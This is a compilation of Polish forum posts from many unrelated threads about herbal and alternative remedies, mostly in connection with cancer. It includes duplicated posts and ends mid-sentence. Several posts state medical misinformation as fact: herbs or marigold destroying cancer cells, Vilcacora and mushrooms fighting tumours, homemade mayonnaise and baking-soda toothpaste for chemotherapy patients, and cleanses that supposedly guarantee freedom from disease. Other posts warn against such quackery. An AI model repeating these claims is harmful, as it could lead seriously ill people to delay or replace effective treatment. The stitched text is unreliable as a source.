Pewien slynny znachor z Podlasia mawiał do swoich pacjentów (na ogół w ostatnim stadium choroby nowotworowej), po zbadaniu ich pulsu i obejrzeniu języka i próbki moczu: no to zabieramy się za sporzadzenie kombinacji ziół, ale zanim to zrobimy, zapowiadamy: będzie ciekawie i wesoło.

Zapytasz mnie, co to było warte? Ano, było. Miał cholernik sukcesy w leczeniu. Co zawsze później przypisywano niestarannej/błędnej diagnozie

  Nadchodzi grzebanie w życiorysach
cepimierz napisał:

> Pomieszani są wszyscy na liście katalogowej, przeznaczonej dla archiwistów. Ale
> nie będą, kiedy zacznie się wydawanie do wglądu dokumentów zainteresowanym.
>
> Pewien slynny znachor z Podlasia mawiał do swoich pacjentów (na ogół w ostatnim
> stadium choroby nowotworowej), po zbadaniu ich pulsu i obejrzeniu języka i pró
> bki moczu: no to zabieramy się za sporzadzenie kombinacji ziół, ale zanim to zr
> obimy, zapowiadamy: będzie ciekawie i wesoło.
>
> Zapytasz mnie, co to było warte? Ano, było. Miał cholernik sukcesy w leczeniu.
> Co zawsze później przypisywano niestarannej/błędnej diagnozie

  CZY KTOS MOZE MI POMòC!!!
Ja cie rozumiem doskonale bo sama podchodzilam bardzo sceptycznie do tego
pomysłu by tam jechać ( pomysł był mojej mamy)i rozumiem jak piszesz ze nawet
lekarze nie wiedzą ......ale z drugiej strony wlasnie podobnie jest z kolką,
przeciez te wszystkie kropelki prawie wcale nie działają a ja sie przekonalam
ze gosc ma pojęcie i zna sie na medycynie ! A najwazniejsze - zapomnilam
napisac ze ma wykształcenie medyczne - jest pediatrą ale leczy ziołami i z tego
co wiem skoutecznie i nie tylko dzieci. Wiem tez ze leczy nowotwory i inne
straszne choroby ! natromiast kolezanka pojechala z problemem otyłosci dotala
ziola i chudnie 1 kg tygodniowo a wczesniej zadne diety nie skutkowaly ! Mam
wszystkie namiary tzn. telefon i adres napisz na poczte gazetową to ci przeslę
mailem Pozdrawiam
ps. oczywiscie nie namawiam na wizyte i piszę tylko to co wiem na 100% a nie
usłyszane historie

  Zagrożenie zdrowia przez niby lekarza bez uprawnie
Zagrożenie zdrowia przez niby lekarza bez uprawnie
Witam,
muszę się podzielić pewną informacją, bo dzieje się coś zatrważająco
niepokojącego, co może zagrażać życiu. Irydolog z Krakowa - człowiek
zajmujący się medycyną niekonwencjonalną(wyczytuje choroby z tęczówki oka)
ostatnio jak byłam na wizycie u niego z bólem serca to kazał mi odstawić
wszystkie leki jakie brałam!! i zamiennie dał mi zioła. Kazał ODSTAWIĆ!
Przecież to zagrożenie dla życia. A jakbym miała miażdżycę albo nowotwór.
Czy w też może mieliście podobną sytuację z irydologiem?

Wanda z Krakowa

  Proces nowotworowy - czy to wyrok??? :(
Porady internetowe nawet zgłoszone przez lekarzy nigdy nie sa miarodajne.
Musisz położyć się do szpitala na ginekologię i poddać się badaniom
onkologicznym. To jest warunek postawienia właściwej diagnozy i ustalenia
leczenia. Rozpoznanie choroby nowotworowej nie jest wyrokiem jest tylko
ostrzezeniem że trzeba się szybko zdecydować na właściwe leczenie. Nie licz na
zioła i alternatywna medycynę.

  Zagrożenie życia przez i
Zagrożenie życia przez i
Witam,
muszę się podzielić pewną informacją, bo dzieje się coś zatrważająco
niepokojącego, co może zagrażać życiu. Irydolog - człowiek zajmujący się
medycyną niekonwencjonalną
(wyczytuje choroby z tęczówki oka) ostatnio jak byłam na wizycie u niego z
bólem serca to kazał mi odstawić wszystkie leki jakie brałam!! i zamiennie
dał mi zioła. Kazał ODSTAWIĆ! Przecież to zagrożenie dla życia. A jakbym
miała miażdżycę albo nowotwór.
Czy w też może mieliście podobną sytuację z irydologiem?

Wanda z Krakowa

  krem do twarzy w trakcie chemioterapii, jaki?
Jezeli Twoja mama choruje na chorobe nowotworowa to krem do twarzy
to taki bez szkodliwej chemi , czyli zaden kupny. Nigdy nie masz
gwarancji co namieszane. Bardzo dobry krem to przegotowana slotka
smietanka. Majonez przez siebie zrobiony [ koniecznie z oleju
tloczonego, nie pozyskiwanego benzyna. Majonez zoltkowy dostarcza
skorze witaminy mineraly i bialko. ,ocet uzyty w majonezie
utrzymuje odpowiednia kwasnosc skory. Jedyna wada to to ze nieda
sie przetrzymywac dlugo. Byc moze jak dodasz troche wit C, lub
kilka kropel spirytusu, bedzie trwalszy. Zwroc Tez uwage na
szampon, paste do zebow bo czytalam ze te produkty to tragedia,
zwlaszcza dla chorego. Paste zastap soda oczyszczona, lub
rozgnieciona na puder tabletka wapna. Mozna tez mieszac razem i
dodawac zmielone na proszek ziola,n,p miete ,szalwie, i inne.I jak
mama bedzie po kryzysie to mozna dodawac troszke gliceryny zeby
byla konsystencja pasty . Szczoteczka po starej pascie musi byc
zmieniona . i ta nowa kolorowa musi byc wrzucona do gotowanej wody
na chwile zeby plastyk utwozyl twardsza powierzchnie ,to wtedy nie
przepuszcza groznych substancji z plastyku.

  Guzy na trzustce-lekarz w Warszawie
Widzisz - ja miałam przykład bardzo drastycznej reakcji u dziecka po tych
izopatach i odstawiłam natychmiast a kandydoza przeszła migiem na ziołach z
vilcacorą, cynkiem, lizyną i oliwką oraz probiotykach.
Nie wiem, cz mądre jest odgrzybianie tymi środkami organizmu "zajętego" walką z
nowotworem, bo nie wiem, jak zareaguje na nie osoba, o której piszesz.
To na temat "-khel'ów".
Co do pozostałych - zapytałabym, bo faktycznie - o izopatii onkolog może nie
mieć pojęcia ale już o suplementacji ma spore.Nie wiem, co to jest metoda
Gersona, ale jak wrzuciłam w net to wyszło, że dieta. Zapytaj onkologa. Ja
jestem akurat za rozsądkiem. Rozsądek to u mnie zero chemicznych dodatków,
drożdży, pszenicy, zamiast cukru białego fruktoza, sól morska lub czarna, mięsa
prawie wcale, a jak już to nie wędlinka ze sklepu tylko robione samemu ale ryby
jeziorne, warzyw multum i kasze. Trudne ale to jest dieta, która człowiekowi nie
przeszkadza a pomaga.
Dołączę jeszcze aspekt psychiczny - chory onkologiczny i tak się czuje
pozbawiony bardzo wielu ważnych dla każdego człowieka spraw. Sama terapia -
jeśli do niej dojdzie - potrafi mocno dać w kość (choć niektórzy znoszą ją
bardzo łagodnie). Psychiczne nastawienie jest w tej chorobie ogromnie ważne. I
zmierzam do tego, że człowiekowi, który i tak cierpi nie rozbiłabym dodatkowej
przykrości czy to lewatywami z kawy czy zakazem zjedzenia rosołu, który lubi bo
tłuszcz ma mu niby szkodzić. Ale to ja i moje podejście oczywiście.

  Co z jemiola?
Ta magiczna roślina ucieleśnia przeżycie, płodność i narodziny. Chroni, leczy
chorych i symbolizuje nieśmiertelność duszy.

Świeże liście jemioły zawierają duże ilości alkaloidów, wiskoli, choliny,
amyriny i wiskotoksyny. Dlatego starannie przygotowane i odpowiednio dawkowane
przetwory – maceraty, napary i wyciągi – pomocne są w nadciśnieniu tętniczym
(silne działanie moczopędne), chorobach serca i niewydolności wieńcowej. Ponadto
ziele zawiera glikoproteidy typu lektyny o własnościach cytostatycznych i
kancerostatycznych – a to znaczy, iż mają one silne właściwości
przeciwnowotworowe. Podobno najlepsze rezultaty uzyskuje się wstrzykując je
bezpośrednio do guza nowotworowego. Jemioła zajmuje również ważne miejsce we
współczesnej recepturze homeopatycznej. Jemioła pobudza cały system obronny
organizmu, działając szczególnie na grasicę.

U mnie jemioła wisi przez cały rok. Starą po nowym roku palę.

  zaparcia-pomocy!!!!
Polecam spożywanie fasoli w różnej postaci.
Wczoraj na obiad przygotowałam fasolę po bretońsku. Dzisiaj super się
wypróżniłam dla tego chcę Wam polecić jedzenie fasoli i wszystkich warzyw
strączkowatych.
W internecie znalazłam info., zwróćcie uwagę na przedostatni myślnik:
Co przemawia na korzyść fasoli?

Fasola jest bardzo wartościowym strączkowym warzywem:
- zawiera małe ilości tłuszczu i jest pozbawiona cholesterolu
- jest cennym źródłem błonnika i wysokiej jakości białka roślinnego, które są
lepiej niż zwierzęce przyswajane przez nasz organizm; dieta bogata w błonnik,
pomaga utrzymać prawidłową masę ciała i ułatwia trawienie
- spożywanie fasoli obniża ryzyko chorób serca i niektórych nowotworów
- zawiera sód, potas, magnez, wapń, mangan, żelazo, miedź, cynk, fosfor, fluor,
chlor, jod, karoteny, kwasy: nikotynowy, pantotenowy, szczawiowy, cytrynowy oraz
witaminy: E, K, B1, B2, B6, C (czyli między innymi wzmacnia odporność organizmu,
poprawia stan włosów i dobrze działa na skórę)
- utrzymuje odpowiedni poziom cukru we krwi, obniża poziom cholesterolu LDL.
- gdy w czasie gotowania fasoli doda się warzywa i zioła przyprawowe (np.
czosnku, imbiru, chili) nie tylko będzie miała ciekawszy posmak, ale poprawia
trawienie i znakomicie rozgrzewa, co zimą jest bardzo przydatne
- DOBRZE WPŁYWA NA NERKI, NA NARZĄDY RODNE KOBIET I LEPSZĄ PRACĘ JELIT
- nie zawiera szkodliwych kwasów nasyconych

  kto wyszedl z ...
kwiatku, nie martw się. moja mama dostała na początek taką leciutka
chemię, bo było za późno na operację radykalną. Po chemii okazało
się, że ten nowotwór zareagował i zdecydowano o radioterapii. Potem
byla jeszcze brachyterapia (wiele osób twierdzi, ze juz nie była
potrzebna). Cały czas mama miała pozytywne podejście. Stosowała
dodatkowo probiotyki i zioła, żeby odbudować florę jelit po
naświetlaniach. Niestety pojawiły się powikłania w postaci choroby
popromiennej i z tego powodu głównie teraz cierpi, ale raka już nie
ma. Konsekwencje są tekie tego leczenia, że ma żywienie pozajelitowe
i stomię (źle dobrana dawka promieniowania moim zdaniem to
spowodowała) ale żyje, funkcjonuje w miarę normalnie (wychodzi po
drobne zakupy, spaceruje) i nadal myśli pozytywnie. Ja nie powiem Ci
wszystkiego o całym jej leczeniu, ale jeśli chcesz to zapytam, czy
nie może odpowiedzieć na kilka Twoich pytań na GG lub w mailu.
Trzymaj się ciepło ! Moja mama jest dowodem na to, że i ja z moim
rakiem mam szansę wygrać. I tegi się będę trzymać !

  Odżywianie a nowotwory
Witam Wszystkich,
Niestety niedawno dowiedziałem się że moja mama ma nowotwór jelita grubego.
Teraz czeka na operację. Chciałem kupić mamie jakieś suplementy czy lekarstwa
wzmacniające organizm podczas leczenia. Zaznaczam że nie chodzi tu o cudowne
środki zastępujące medycynę ale raczej pomocnicze stosowania równolegle z
leczeniem. Za namową znajomej (jej ponoć pomogło) kupiłem zestaw Intra-zioła.
Jestem sceptyczny co do jego "ogromnych możliwości" - ale nawet jak te zioła nie
pomagają to przynajmniej mama czuje się lepiej bo ma świadomość że coś robi.
Z Waszych listów wynika że te suplementy to szarlataneria i że to dieta może
mieć większe znaczenie ( oczywiście oprócz leczenia lekarskiego). Dlatego proszę
napiszcie jak i co należy jeść podczas choroby i jej leczenia.
PS. Link na dole bardzo ciekawy - dziękuję.

Pozdrawiam
Kertz

  moja mamę wykończy biegunka
Tak najprościej im mówić.Są też przecież leki czy preparaty,zwykłe
zioła polskie, na podniesienie odporności-żeby organizm też nie
poddawał się po chemii chorobie. To chyba nie żywi raka.Można wogóle
nie dawać jeść choremu-bo nawet ta odrobina którą zje,także dożywia-
ale myslę że i tak rak by się rozwijał,bo za to że rak rośnie
odpowiada słaba odporność organizmu.to takie błędne koło.

To nie dotyczy tylko chorych w stanie zaawansowanym, nawet chorzy
którzy zaczynają leczenie-a nie jest z nimi źle - nie są
informowani,żeby wzmacniać organizm.Kiedy miedzy jedna a drugą
chemią nic się nie robi,leukocyty i hemoglobina spada,organizm jest
za słaby i chory przegrywa,rak wygrywa. Trzeba wspomóc organizm-np.
nagietek wymiata komórki nowotworowe -a lekarz zabronił mamie pić
jakiekolwiek zioła,że nie ma potrzeby.A może gdyby piła,to lepiej by
się czuła.Ja nie mówię o Vilkakora czy innych chinskich cudach-mam
na mysli nasze rodzime.Jest ich naprawde dużo.

  zioła
tyrtum napisała:

> Przepraszam ,czy tu jest zakon. Pani Balbinko bez przesady. Pani wyraźnie pytał
> a
> się o wspomaganie. To już jakaś mania prześladowcza.

Ziola ani nie leczą, ani nie wspomagają leczenia choroby nowotworowej. To nie
jest mania przesladowcza, tylko niedopuszczanie do zrobienia ludziom wody z
mózgu, jak to się dzieje na wielu innych forach. Tak trzymać.

  Podchody ginekologów wokół podejścia do porodu
powiem tyle - szpital na Brochowie ma np udokumentowane kilka przypadkow koiet -
pacjetek pani Agrawal z chorobami nowotworowymi "leczonymi" ziolami i "woda
swiecona"
Dr Agrawal swoimi metodami opoznila leczenie nowotworow...
Do szpitala dr Zimmera tez trafialy takie przypadki, a pani Agrawal swego czasu
zostala wyrzucona z Dyrekcyjnej.

Pol biedy jakby swiadczyla uslugi "szamanskie" i tradycyjno-ludowe jako
znachorka. Ale ona swiadczy je jako lekarz i pacjentki maja prawo ufac, ze
odwoluje sie przede wszystkim do medycyny tradycyjnej, szczegolnie w tak
powaznych przypadkach jak rak...

  Czy to nie jest już jakaś moda na te robaki.
Gdyby tradycyjne lecznicze zioła stosowane w chińskiej medycynie
były skuteczne to.... byłyby juz od dawna stosowane, bo chińska
medycyna ma bardzo długa tradycje i nawet przypadkowo odkryto by
fakt, ze zioła X leczą, powtarzam LECZĄ, NOWOTWÓR y. i BYŁOBY PO
SPRAWIE, A NIE JEST!
Ja jestem wyjatkowo wyczulona na dawanie pseudonadziei ludziom
chorym na chorobe nowotworową i ich bliskim.
Ziółka, bo napisali na takiej czy takiej stronie. Mało szkodliwe,
mało toksyczne. Pikus w porównaniu z chemioterapia czy radioterapią
czy leczeniem operacyjnym. I skutecznośc placebo.
pół biedy jesli stosowane równolegle, ale ludzie nie chcą miec
skutków ubocznych inwazyjnego leczenia choroby nowotworowej i....
zamieniają np. chemioterapie na ziółka chińskie. A nowotwór czuje
się dobrze w przeciwieństwie do pacjenta.

  drętwienie palców.
W sumie wiele chorob moze sie tak zaczynac niestety. Niektore bardzo powazne.
Sugeruje wizyte u lekarza: internisty oraz neurologa.

W gre wchodzic moze przede wszystkim neuropatia obwodowa, stan po odmrozeniu,
SM, cukrzyca, zespol Guillaine Barre.
Moze to byc tez jakies zatrucie toksyna bakteryjna lub grzybicza (jezeli tak to
Chitosan kupiony w sklepie z suplementami i ziolami moze pomoc na troche).

Moze tez jakies uszkodzenie kregoslupa szyjnego lub zespol ciesni nadgarstka ale
w to to akurat najbardziej watpie.

Tak moze sie tez zaczynac choroba nowotworowa lub borelioza.

  dziwne objawy chorobowe (?)
Jezeli to nie tarczyca i nie ciaza to biorac pod uwage komplet objawow rozwazyc:
autoimmunologiczne zapalenie watroby
przewlekla chorobe nerek
Zatrucie chemiczne
Reakcja na srodki naturalne (moze bierzesz jakies ziola co ci szkodza?) - odstaw
wszystko co przyjmujesz
Mniej prawdopodobne, ale mozliwe
MS
AIDS
borelioza
chroniczna mykoplazma
kila
bialaczka
jakis zaczynajacy sie nowotwor

  Lekarz z Warszawy-cz 2
Witam
Jest wielce prawdopodobne,że formę przetrwalnikowa ma nie tylko
krętek boreliozy czy wspomniana chlamydia,ale inne-obok krętka-
odkleszczowe drobnoustroje, w tym bortanella.Stąd leczenie boreliozy
i koinfekcji jest bardzo trudne,zdaniem wielu moich kolegów lekarzy
z wielu rejonów Świata zajmujących się leczeniem chorób
odkleszczowych,obok antybiotykoterapii niezwykle ważna jest
równoległa terapia wzmacniająca odporność.Oni naprzemian co 4-5
miesięcy stosują tzw terapię oczyszczającą-niezwykle popularna jest
terapia oczyszczająca dietą lub ziołami.Wielu z nich stosuje np
terapię oczyszczającą z ziół andyjskich,znanych,majacych obszerne
badania naukowe, jak np słynna Vilcacora(wzmaga odporność,pomocna
m.in. w terapii nowotworów)
Pozdrawiam
Piotrek K

  Chcecie ciekawy artykuł przeciwko homeopatii?
molla7 napisała:

> może podsumujmy wątek???

no nareszcie :DDDDD
:)) Już kiedyś pisałam, ze wybór leczenia to indywidualna sprawa. Czy ktoś
wybiera chemie czy zioła chce mieć taki sam efekt. Zdrowie. Dlaczego nie uznać,
że ludzki organizm jest sam w sobie silny i leki homeo pomagają w
samouzdrawianiu się organizmu, może czasem i dłużej, ale naturalniej :). Nie
podejrzewam, żeby któraś z walczących zwolenniczek homeopatii postanowiła leczyć
nowotwór lub chorobę genetyczną tylko i wyłącznie ziołami, prawda?

  Alveo na podniesienie odporności
Aurita zgadzam się z toba ze to nachalna reklama!Znam kilka osób które brały
przez długi okres czasu ten preparat czekając na jego cudowne działanie i nic
nie zyskały!Straciły mnóstwo pieniędzy.U jednej chorej na nowotwór piersi
preparat tylko przyśpieszył rozwój choroby!Preparat pod żadnym pozorem nie
powinien byc stosowany bez wcześniejszej konsultacji z lekarzem i to jest opinia
lekarza-zielarza!Poza składem nie znane są jego proporcje a to bardzo istotne
jak pije się jakiekolwiek zioła!Taki sam efekt otrzymacie pijąc dwa litry wody
dziennie regularnie albo robiąc sobie mieszanke ziół oczyszczających stosowanych
pod opieka zielarza i kupowanych w aptece za grosze!CO ciekawe sami sprzedający
alveo doradzają, żeby przy alveo wypijać min. 2 litry wody dziennie

  Herbatki na schudnięcie
Witaj ja odchudzałam sie całe zycie kiedyś tez na herbatkach ziołowych
normogran granulat obecnie nie do zdobycia i normosan plus dieta i 1000 kcal
.Moja waga oscylowała miedzy 60- 70 kg zależnie od pory roku. Na diecie nie
łaczenia schudłam 8kg w półtora miesiaca. Gdy zdiagnozowano haszi i choroby
serca w pół roku przytyłam 22 kg.Jakoś nie szło się ich pozbyć.Ostatnio pytałam
mojego onkologa czy mogę sie odchudzać bo ja to jeszcze jestem po chorobie
nowotworowej to mi prawie nic nie wolno ale zgodziła się na diete nie łaczenia
ta że jem wszystko nie licze kalorii dziennie spaceruję ok godziny mam ochote na
słokie to jem paczka czy pieke gofra i schudłam za dwa miesiace 6 kg no i
słodkie jem raczej rano w ogóle dziwne bo kiedys nie przepadałam za słodyczami .
Tak że herbaki ziołowe jak najbardziej jak lubisz bo sa zdrowe ale w ich
odchudzajaca moc nie wierz gdyz one głownie odwadniają poprzez wypróznienia.
Mozna sie nabawić rostroju jelit i żoładka to juz lepiej pić różne ziołowe czy
owocowe dla zdrowiai smaku czy zielone , a nie typu slim .Pozdr. Roma :}}}}

  Nowotwór krtani i płuc Proszę o Pomoc
Nowotwór krtani i płuc Proszę o Pomoc
Witam i zwracam się do Państwa o pomoc, poradę i wskazówki moja mama od ponad
9 lat walczy z rakiem. Zaczęło się od raka krtani, lekarze zaproponowali
operację, jednak mama się na tą propozycje nie zgodziła i została poddana
radioterapii i jednocześnie piła zioła sprowadzone z Peru od ojca Szeligi
(nie wiem czy pomogły, na pewno nie zaszkodził), przez 5 lat był spokój, po
tym okresie nastąpił nawrót choroby tym razem z przerzutem na płuco, lekarze
z Centrum Onkologii w Warszawie ponownie poddali mamę radioterapii niestety
skutkiem ubocznym było gwałtowne zwężenie krtani, co groziło uduszeniem się
mamy, została poddana operacji poszerzenia krtani w szpitalu na Saszerów w
Wawie. Po operacji nastąpiły jakieś komplikacje i mama nie mogła oddycha
samodzielnie, została założona tracheotomia. Rak płuca rozwijał się dalej,
tym razem zastosowanym leczeniem była chemioterapia, jednak po czwartej
chemii nastąpiło gwałtowne osłabienie organizmu i spadek wyników, lekarze z
Centrum Onkologii zdecydowali o wstrzymaniu chemii i od tego czasu mama nie
jest leczona, nie można jej operować, ani nadal podawać chemii, radioterapia
również jest nie możliwa. Bardzo proszę o informacje, co w takiej sytuacji
robić dalej, gdzie szukać pomocy (może w jakiś innych krajow3ych ośrodkach
onkologicznych) i czy istnieją jakieś inne nowe metody leczenia?
Z góry dziękuję
Artur Opasek

  Piwo i marichuana.Taka rozmowa.
No pewnie że marihuana jest wykorzystywana w medycynie. THC wykorzystuje sie do
produkcji lekow podawanych przy chorobie parkinsona i w zaawansowanych stadiach
choroby nowotworowej. A co do szkodliwosci alco i canabisu... To fakt ze po
zastosowaniu blancika nie wystepuje agresja, a wrecz przeciwnie im wiecej
wypalonych jointow na imprezie tym szybciej towarzystwo idzie spac, w przypadku
alkoholu jest dokladnie odwrotnie az do momentu calkowitego upojenia, no ale
wtedy czlowiek bardziej przypomina zwierze niz istote luidzka. No ale trzeba
uwazac z ziolem, zwlaszcza w mlodym wieku bo faktycznie jego dluzsze stosowanie
nie wplywa najlepiej na mozg. Moze powodowac szereg dolegliwosci psychicznych
poczawszy od depresji na schizofrenii konczac. Choc oczywiscie, jak do kazdego
nalogu, nalezy miec pewna genetyczna sklonnosc.
Aha, jeszcze jedno, wiele osob wybiera zielone z bardzo prostej przyczyny....
na drugi dzien nie ma tak dolegliwego kaca.
Pozdrawiam wszystkich i zapraszam do Holandii - kraju wolnych ludzi.

  Białaczka u psów
W przypadku białaczki u psów ( czyli chłoniaka) jedyną skuteczną metodą
leczenia jest poddanie zwierzecia chemioterapii - niestety nie jest ona w
stanie wyleczyć zwierzęcia moze tylko doprowadzic do akceptowalnie długiego
okresu remisji - tzn wydłużenia życia zwierzęcia .
Możesz spróbowac także homeopatii choc czywiście metody te są dyskusyjne -
ostatnio wchodzi także do terapii nowotworów u zwierzat Vilcacora -
peruwiańskie zioła lecznicze - może warto spróbować.
Najwazniejsze jest jednak to by twój pies był pod opieka lekrza który ma
doświadczenie w leczeniu tego typu chorób .
Pozdrawiam

  Szczepić, nie szczepić, oto jest pytanie
Nie, medycyna konwencjonalna potrafi pomóc. Oczywiście nie zawsze.
Trzeba tylko w odpowiednim czasie zgłosić się do lekarza i rzetelnie
go o wszystkim poinformować.
Nie jak pacjent np. z choroba nowotworową ( niekoniecznie dziecko)
choruje od 2 lat i jest "leczony" homeopatią. "Leczenie" nie pomaga,
więc jednak idzie się do lekarza, a wtedy bywa juz za późno.
Antybiotyki nadużywane są rzeczą zła, ale leczenie infekcji
bakteryjnej ziołami w konsekwencji może doprowadzic do ciężkic
powikłań, o czym też dobrze by było wiedzieć.

  oczyszczanie organizmu
moim zdaniem tego typu oczyszczenia nie wystarcza. jesli chce sie zyc 100 lat w dobry zdrowiu, nie przejmowac sie w ogole grazba nowotworow itd., to samo picie ziol nie wystarczy. trzeba zrobic oczyszczanie watroby oliwa i cytrynami, oczyszczanie zatok woda z sola, glodowki itd. tylko wtedy IMHO mozna byc 100% pewnym, ze zadna choroba nie dopadnie.

pozdrawiam :)

  Teraz na inny temat - pomóżcie!!!!!!!!!
Przede wszystkim musicie realnie ocenić szanse Twojego Taty. Mój tata zmarł 3 miesiące temu na nowotwór wątroby. Zanim potwierdziliśmy diagnozę lekarzy przejechaliśmy pół Polski, choc rodziców trudno było przekonać, ze w innych miastach przyjmą bez problemu pacjenta z innej kasy chorych. Ale potrzeba pomaga przenosić góry. Kiedy okazało się, ze o operacji naprawde nie ma już mowy próbowaliśmy wszystkiego - ziół andyjskich, masażu leczniczego stóp, bioenergoterapii - Tato twierdził, ze czuje po tym wyraźną ulgę w dolegliwościach po pierwszej operacji, więc może ulży to równiez twojemu Tacie. Mojemu pomogło jednak tylko doraźnie. Żałuję bardzo , że nie namawialiśmy go na wizytę u psychologa, chociaż nie mam gwarancji, ze dałby sie namówić. W każdym razie Tato zamykał się stopniowo w sobie, rzadko dawał nam sygnały jak bardzo przezywa swoją chorobę. W ogóle nie chciał o tym mówić , zeby na nie zamartwiać, może i sam nie chciał myśleć. Pogorszenie nastapiło dość gwałtownie i mam wrażenie, że przez to, ze nie umiał sam sobie poradzić ze świadomościa tego, jak bardzo jest chory -Tato nie zdążył pozałatwiać wszystkiego co chciałby a co wiecznie odkładał, nie powiedział nam tego co miał powiedzieć, po prostu nie był przygotowany. Dlatego wydaje mi się, że możesz pomóc swojemu Tacie nie tyle dając mu złudną nadzieję na cud (choć to też oczywiście może być mu potrzebne) ile pomagając przygotowac się do odejścia. Z Twojego listu wnioskuję, ze Wy macie jeszcze czas na te przygotowania, bo pogodzić się z umieraniem - to chyba nie jest mozliwe. Mam nadzieję, że mój list będzie dla Ciebie pomocą w tej trudnej sytuacji. Trzymam za Was kciuki i pozdrawiam bardzo ciepło. Magda

  Ziele na depresję
Ziele na depresję
"...Głód w okolicy Soutra Aisle bywał straszliwy, tak przynajmniej wynika z badań dr. Moffata. Niedoborom pożywienia towarzyszyła epidemia szkorbutu. (Według Światowej Organizacji Zdrowia obydwa te zjawiska są ze sobą ściśle powiązane). Choroba spowodowana niedoborem witaminy C w pożywieniu powoduje m.in. wypadanie zębów. To właśnie na nie natknęli się badacze, przeglądając odpadki z klasztoru. Co ciekawe, zęby nie miału ubytków, nie zostały więc wyrwane celowo. Ich zagadkę udało się rozwiązać dzięki znalezionym tuż obok nasionom i kawałkom rzeżuchy. Roślina ta, bardzo rzadko spotykana

w Szkocji, zawiera ogromne ilości witaminy C. Wygląda więc na to, że mnisi próbowali ratować uzębienie podopiecznych, podając im bardzo skuteczne lekarstwo.

Ziele na depresję

Poza szkorbutem zakonnicy z Domu Świętej Trójcy leczyli też depresję. Ordynowali przy tym chorym stosowany do dziś dziurawiec. Innym zalecanym przez nich medykamentem był marchewnik anyżowy. Obecnie nie ma on zastosowania jako roślina lecznicza, ale jak wykazała zrobiona na zlecenie dr. Moffata analiza, zawiera cały wachlarz witamin oraz minerałów, w tym selen, spowalniający procesy starzenia się organizmu.

Najciekawszym odkryciem uczonych analizujących zawartość średniowiecznych śmietników było znalezienie w nich szczątków jemioły. Mnisi – zapewne metodą prób i błędów – uzyskali te same rezultaty, co współcześni naukowcy. Dawne księgi medyczne wspominają bowiem, że można jej używać do leczenia nowotworów, szczególnie w postaci guzów. Średniowieczne obserwacje znalazły potwierdzenie we współczesnych testach klinicznych. Zawarte w jemiole lektyny i wiskotoksyny hamują podział komórek rakowych oraz łagodzą skutki radio- i chemioterapii. Nic więc dziwnego, że w sprzedaży znajduje się obecnie co najmniej kilka preparatów leczniczych produkowanych na bazie ekstraktów z tej rośliny..."

  onopordum acantium
onopordum acantium
czy te zioła rzeczywiscie pomagają przy chorobie nowotworowej?
czy nie zaszkodzą(rak przewodów żółciowych)

  Ziele w Kanadzie
W Kanadzie tez jest na recepte. Ziele jest p/bolowe i dobrze sie sprawdza w MS i w chorobach nowotworowych. Tez ponoc w jakis chorobach watroby.

Ale to nie znaczy, ze wszyscy maja to palic!

  łuszczyca a medycyna naturalna
Każda choroba z czegoś powstaja - najczęściej z braku odporności !!! Jeśli sie
dobrze odżywiamy , to nie mamy problemów z odpornością . Odporność podnosimy
witaminami , minerałami , aminokwasami itp. i choćby również drogimi grzybkami -
Cordicepsem, Shiitake , Maitake i Red Reishi , które już na carskich dworach
starych Chin i Japonii stosowali lekarze w swojej praktyce. Te grzyby zawierają
wiele wyjątkowo cennych składników , pozytywnie wpływających na nasz organizm
, zwłaszcza na aktywność naturalnych komórek , niszczących bakterie i te z
komórek , które funkcjonują nienormalnie i niszczą nasz system odpornościowy. W
ten sposób wyraźnie zwiększa się odporność naszego ciała na czynniki
zanieczyszczonego środowiska naturalnego , na stres i procesy starzenia się .
Znacząca jest również pozycja ich w walce z chorobami nowotworowymi.
Nigdy nie stosowałam tak drogich suplementów , zdrowie odzyskałam spożywając
regularnie suplementy naturalne: mineralno-witaminowe + wycią z soi dla
wyregulowania pracy hormonów + jod , którego niedobór występuje niemalże na
terenie całej Polski, a zwłaszcza w regionach południowych i wschodnich. Brak
jodu odnotowano w całej Europie od Skandynawii ,aż po Turcje.Jod jest również
ważny dla zdrowego rozwoju dziecka, jego umysłu, wpływa na normalny wzrost i
rozwój mózgu + codziennie 1 szklankę soku z marchwi,buraka i jabłka, sama
wyciskam w sokowirówce.
Tianshi to droga firma , a zdrowie mozna uzyskać również za niższą cenę !!! , no
cóż każdy ma wybór !
Jeśli chodzi o czakramy , bioenergoterapeutów itp. , to całkowicie się zgadzam z
przedmówczynią ,jestem chrześcijanką i sama stram ścśle trzymać się tych zasad ,
ale dziwię sie Tobie , że preferujesz produkty azjatyckie , tam gdzie nie ma
naszej religii i Jezus , o którym wspominasz tam nie gości !!!
Poza tym Tianshi oferuje produkty z mielonych kości zwierząt , czy wysuszoną
krew , czy jakieś zmielone robactwo? Brrr!!! Przecież Bóg stworzył przyrodę dla
ludzi ,,trawkę dla zwierząt,a zioła dla ludzi" - cytat z Biblii Tysiąclecia.
Pozdrawiam.

  medycyna naturalna dla dziecka
alinaw1 napisała:
> Na to forum wIEDŻMA to propozycja dla mnie? Jakieś senniki?

Potrafisz czytac Temat/Subject? lachelis popelnila byla post o snach proroczych
co IMHO swiadczy o nazwijmy to "odmiennym poziomie racjonalizmu".

> Te moje niektóre doświadczenia z podróży Scept89 ośmieszył w strasznie
>prostacki sposób.

Jak sie nie ma argumentow to pakuje sie interlokutora w worek o nazwie
'prostak'. Odpowiedzialas na ktorekolwiek z pytan? Nie bardzo. Po prostu na
zadane pytanie odpowiadasz powtarzaniem kolejnej historii z podrozy widac liczac
ze szaman #123 powali nas na kolana kiedy do tej pory szamani #1-122 nie
wzbudzili naszego entuzjazmu.

>Wyraźnie napisałam "DOKUMENTACJA"

Kilkanascie postow w dol a dalej nie wiadomo czym byla 'smiertelna choroba'
Wujka. To jest charakterystyczny objaw wystepujacy u zwolennikow pseudo-nauk ->
ciagla zmiana tematu, niedbale traktowanie danych.

Kazdy, nawet naturopata w Zapupinie Dolnym ma prawo po zebraniu danych usilowac
opublikowac je chocby w Lancecie. Czasopisma lekarskie roja sie od opisow
nietypowych przypadkow.
Nie zastanawia Cie to milczenie naturopatow? Tyle wyleczen, dzialajacych metod a
tu zero publikacji. Pozostaja nam teorie spiskowe (nikt nie chce publikowac
cudownych uzdrowien nowotworow przy pomocy rumianku) albo moze jakosc owej
dokumentacji jest taka ze za przeproszeniem nie nadaje sie do publikacji a do
czegos zupelnie, zupelnie innego.

>(jak z tym
> Timbuktu, którego nawiasem mówiąc odwiedziłam ale żadnego znachora nie
> spotkałam...).

Pogratulowac obiezyswiactwa. ;-).

Czy w swojej miedzykulturowej madrosci doszlas do tego jak starszyzna plemienna
